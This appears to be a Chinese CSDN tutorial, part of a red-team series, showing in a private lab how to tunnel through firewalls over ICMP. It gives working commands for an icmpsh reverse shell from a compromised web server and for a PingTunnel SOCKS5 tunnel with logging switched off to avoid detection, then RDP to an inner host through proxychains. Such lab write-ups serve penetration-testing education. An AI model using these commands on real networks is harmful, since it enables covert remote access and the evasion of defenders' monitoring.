《红蓝攻防对抗实战》十二.内网穿透之利用ICMP协议进行隧道穿透

一.前言

本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。

二.前文推荐

《红蓝攻防对抗实战》一. 隧道穿透技术详解
《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网
《红蓝攻防对抗实战》三.内网探测协议出网之HTTP/HTTPS协议探测出网
《红蓝攻防对抗实战》四.内网探测协议出网之ICMP协议探测出网
《红蓝攻防对抗实战》五.内网探测协议出网之DNS协议探测出网
《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell
《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell
《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密
《红蓝攻防对抗实战》九.内网穿透之利用GRE协议进行隧道穿透
《红蓝攻防对抗实战》十.内网穿透之利用DNS协议进行隧道穿透
《红蓝攻防对抗实战》十一.内网穿透之利用SSH协议进行隧道穿透
————————————————————————————————————————————

三.利用ICMP协议进行隧道穿透

下面将介绍通过ICMP协议进行隧道穿透的方法。这种手段的优点是不需要开放端口就可将TCP/UDP数据封装到ICMP的Ping数据包中,从而绕过防火墙的限制,攻击者可以利用较短的命令得到大量的ICMP响应,常见的ICMP隧道穿透通常可以利用Icmpsh、Icmptunnel、Pingtunnel等工具实现,笔者这里以ICMPsh和Pingtunnel为案例介绍如何利用ICMP协议进行隧道穿透。

1.ICMPsh获取反弹shell

ICMPsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,它的主要优势在于不需要管理权限即可在目标主机上运行,如图1-1所示的拓扑,假设内网中发现Web服务器,测试后其他协议方式无法进行隧道穿透,探测其开放ICMP协议,且获取到命令执行权限后,可以尝试利用ICMP隧道工具进行后续操作。

图1-1 ICMP协议实验拓扑图

1)首先在攻击机中执行echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all命令,关闭攻击机ICMP协议的应答。因为该工具要代替攻击机系统本身的ping命令去应答,为了防止内核自己对Ping数据包进行响应,所以需要关闭系统的ICMP应答,执行后如图1-2所示。

在这里插入图片描述

图1-2 关闭ping应答

2)关闭ICMP应答后,在攻击机中执行python2 icmpsh_m.py 192.168.0.2 192.168.0.3命令来连接Web服务器,如图1-3所示。这里注意的是,攻击机需要使用Python 2的环境来安装python-impacket模块,我们可以使用pip install impacket==0.9.12命令或者官网下载模块安装。

在这里插入图片描述

图1-3攻击机连接服务器

3)上述步骤操作完毕后,上传icmpsh.exe工具到Web服务器,在Web服务器执行icmpsh.exe -t 192.168.0.2命令反弹Shell到攻击机,执行结果如图1-4所示。

![](https://img-blog.csdnimg.cn/img_convert/e80aad8817b4becdbc9c1ad1acf5165c.png)

图1-4 服务器执行连接命令

4)此时攻击机已经成功获得Web服务器反弹的Shell权限,如图1-5所示。
在这里插入图片描述

图1-5 通过ICMP隧道成功获得Web服务器Shell权限
2.PingTunnel 搭建隧道

PingTunnel工具是基于ICMP协议的开源的隧道工具,其优点是使用简单,它的原理是通过将TCP/UDP/Sock5流量夹带在ICMP数据中进行转发,下面将会演示如何使用该工具进行隧道穿透,该工具的具体使用详细参数如表1-1所示。

表1-1 PingTunne工具详细参数

参数作用
-key设置的密码,默认为 0
-nolog不写日志文件,只打印标准输出,默认 0
-noprint不打印屏幕输出,默认 0
-loglevel日志文件等级,默认 info
-maxconn最大连接数,默认 0,不受限制
-maxprtserver 最大处理线程数,默认 100
-maxprbserver 最大处理线程 buffer 数,默认 1000
-connttserver 发起连接到目标地址的超时时间,默认 1000ms
-l本地的地址,发到这个端口的流量将转发到服务器
-s服务器的地址,流量将通过隧道转发到这个服务器
-t远端服务器转发的目的地址,流量将转发到这个地址
-timeout记录连接超时的时间,单位是秒,默认 60s
-tcp设置是否转发 tcp,默认 0
-tcp_bstcp 的发送接收缓冲区大小,默认 1MB
-tcp_mwtcp 的最大窗口,默认 20000
-tcp_rsttcp 的超时发送时间,默认 400ms
-tcp_gz当数据包超过这个大小,tcp 将压缩数据,0 表示不压缩,默认0
-tcp_stat打印 tcp 的监控,默认 0
-sock5开启 sock5 转发,默认 0
-profile在指定端口开启性能检测,默认 0 不开启
-s5filtersock5 模式设置转发过滤,默认全转发,设置 CN 代表 CN 地区的直连不转发

假设在内网渗透中发现主机,通过漏洞获取到系统控制权限,在对其进一步探测时,由于安全设备等方式的阻拦,其他协议方式无法穿透,这里仅开放ICMP协议,我们可以尝试利用PingTunnel工具进行后续操作,本次实验拓扑如图1-6所示,本次实验环境表如1-2所示。

图1-6 ICMP协议实验拓扑图

表1-2 ICMP协议实验环境表

主机类型IP配置
攻击机192.168.0.2
Web服务器192.168.0.3,192.168.52.2
目标服务器192.168.52.3

1)在攻击机上也可以执行sysctl -w net.ipv4.icmp_echo_ignore_all=1命令,关闭ICMP应答,防止接受本地的响应的ping数据包,如图1-7所示。注意实验完成后,如果要开启Icmp应答,我们使用上面这条命令将值改为0即可开启icmp应答。
在这里插入图片描述

图1-7 攻击机关闭Icmp回复

2)将PingTunnel工具上传至Web服务器后执行./pingtunnel -type server -noprint 1 -nolog 1命令,即可在Web服务器开启服务端监听,其中-noprint参数和-nolog参数是禁止产生日志文件,如果不使用该参数执行,则Web服务器就会生成大量的日志文件,很容易被检测到,执行成功后如图1-8所示。
在这里插入图片描述

图1-8 Web服务器开启服务端监听


3)在攻击机执行./pingtunnel -type client -l :1080 -s 192.168.0.3 -sock5 1命令,去连接服务端,这里攻击机将作为客户端连接Web服务器监听,并设置本地的1080端口做为socks连接端口,执行后如图1-9所示。

图1-9攻击机发起连接

4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-10所示。
在这里插入图片描述

图1-10 修改proxychains配置文件

5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.3命令来连接靶机,如图1-11所示,通过所建立的icmp协议隧道,我们可以直接远程连接到目标服务器中。

图1-11 ICMP隧道连接成功

四.本篇总结

随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网中,在本篇文章中介绍了如何利用ICMP协议进行隧道穿透,ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。希望本篇对读者有用。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值